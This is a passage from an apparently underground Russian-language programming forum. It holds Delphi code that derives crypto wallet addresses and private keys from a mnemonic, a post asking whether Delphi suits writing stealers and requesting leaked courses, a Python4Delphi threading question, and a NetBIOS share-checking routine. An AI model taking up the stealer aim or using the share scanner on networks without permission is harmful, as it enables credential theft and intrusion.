Memo1.Lines.Add('PrivateKey: '+SplitString(e,'|')[2]);
CalcFree(e);
Memo1.Lines.Add('BITCOIN:');
e:=Calc(PAnsiChar(AnsiString(MyMnemonic)),'m/84''/0''/0''/0/0', 'BTCP2WPKH'); //// coin -> BTC | BTCP2SH | BTCP2WPKH
Memo1.Lines.Add('Wallet Address: '+SplitString(e,'|')[0]);
Memo1.Lines.Add('PublicKey: '+SplitString(e,'|')[1]);
Memo1.Lines.Add('PrivateKey: '+SplitString(e,'|')[2]);
CalcFree(e);
//Дополнительно:
Memo1.Lines.Add('FROMHEX: ');
e:=to_entropy(PAnsiChar(AnsiString(MyMnemonic)));
Memo1.Lines.Add('Mnemonic to HEX: '+e);
CalcFree(e);
e:=from_entropy(PAnsiChar(AnsiString('4764361d8b1a24fd3ce0660cb7534988')));
Memo1.Lines.Add('HEX to Mnemonic: '+e);
CalcFree(e);
end;

end.

Внимание
1.Библиотека x64 разрядная то есть ваш проект тоже должен быть x64 разрядный иначе работать не будет
2.Работает только с тремя монетами ETH, BTC, BNB

Hidden content for authorized users.

Пароль на архив:
0xFCB4c4928CdB84544C4DB8C82D3fFDc06C0a3F95

Доброго времени суток. Хочу начать изучать язык Delphi, хочу вас попросить подкинуть какие нибудь статейки или сливы курсов по этому языку. Также есть вопрос, хороший ли язык для написания стиллеров у кого есть опыт написания на нем или есть более удобные альтернативы?(по поводу c++ попрошу не писать так как развиваться в его сторону пока не собираюсь)Помогите разъяснить. Заранее благодарю

Здрасте, удалось ли кому то победить библиотеку Python4Delphi у меня она напрочь отказывается работать в многопотоке:

Code:Copy to clipboard

{$APPTYPE CONSOLE}

uses
  SysUtils,
  Classes,
  System.syncobjs,
  PythonEngine;

type
  th = class(TPythonThread)
  private
  protected
    procedure Execute; Override;
  public
    constructor Create(CreateSuspended: Boolean);
  end;

var
  cs: TCriticalSection;
  PythonEngine:TPythonEngine;

{ th }

constructor th.Create(CreateSuspended: Boolean);
begin
  inherited Create(CreateSuspended);
  ThreadExecMode := emNewInterpreter;
  FreeOnTerminate := True;
end;

procedure th.Execute;
var
scr,val: string;
PyFunc: PPyObject;
begin
  inherited;
while True do
begin
PythonEngine.ExecString('HW="Hello World!";');
cs.Enter;
Writeln(PythonEngine.EvalStringAsStr('HW')); // Вывод значения в консоль
cs.Leave;
//pyfunc:=PythonEngine.FindFunction(PythonEngine.ExecModule,'');
//PythonEngine.Py_DecRef(PyFunc);
end;
//PythonEngine.PyEval_AcquireThread(Self.ThreadState);
//PythonEngine.PyErr_SetString(PythonEngine.PyExc_KeyboardInterrupt^, 'Terminated');
//PythonEngine.PyEval_ReleaseThread(Self.ThreadState);
end;

var
  i: Integer;
begin
  PythonEngine:=TPythonEngine.Create(nil);
  PythonEngine.InitThreads := True;
  PythonEngine.DllPath := ExtractFilePath(ParamStr(0)) + '\python';
  PythonEngine.DllName := 'python310.dll';
  PythonEngine.UseLastKnownVersion := False;
  PythonEngine.AutoLoad := False;
  PythonEngine.AutoFinalize := True;
  PythonEngine.AutoUnload := False;
  PythonEngine.RedirectIO := False;
  PythonEngine.LoadDll;
  Randomize;
  cs := TCriticalSection.Create;
 for i := 1 to 4 do
  th.Create(False);
  readln;
end.

В 1-2 потока иногда работает и то праздникам

Здрасте, пишу тут софт лёгкий который проверяет заданный ip на наличие NetBios ресурсов ловлю серьёзные утечки памяти при использовании в многопотоке код процедуры пока такой:

Code:Copy to clipboard

function CheckNetBiosResources(const IPAddress: string): Boolean;
var
  netResource: TNetResource;
  buffer: array [0..4096] of TNetResource;
  bufferSize: DWORD;
  entriesCount: DWORD;
  enumHandle: THandle;
begin
  Result := False;
  try
    FillChar(netResource, SizeOf(netResource), 0);
    netResource.dwScope := RESOURCE_GLOBALNET;
    netResource.dwType := RESOURCETYPE_ANY;
    netResource.dwDisplayType := RESOURCEDISPLAYTYPE_SHARE;
    netResource.lpRemoteName := PWideChar('\\' + IPAddress);
    bufferSize := SizeOf(buffer);
    entriesCount := $FFFFFFFF;
    if WNetOpenEnum(RESOURCE_GLOBALNET, RESOURCETYPE_ANY, 0, @netResource, enumHandle) = NO_ERROR then
      if WNetEnumResource(enumHandle, entriesCount, @buffer, bufferSize) = NO_ERROR then
        Result := True;
  finally
    WNetCloseEnum(enumHandle);
  end;
end;

function Runtime(ip: string): Boolean;
var
  t: TThread;
  r: Boolean;
  event: TEvent;
begin
  event := TEvent.Create(nil, True, False, '');
  t := TThread.CreateAnonymousThread(
    procedure
    begin
      r := CheckNetBiosResources(ip);
      event.SetEvent;
    end
  );
  t.FreeOnTerminate := True;
  t.Start;
  event.WaitFor(1000); //Таймер выполнения процедуры иначе долго будет отрабатывать если ресурса нету
  t.Terminate;
  event.Free;
  Result := r;
end;

procedure TForm2.Button1Click(Sender: TObject);
begin
if
Runtime('127.0.0.1')
then
memo1.lines.add('Ресурсы Доступны')
else
memo1.lines.add('Ресурсы Не Доступны');
end;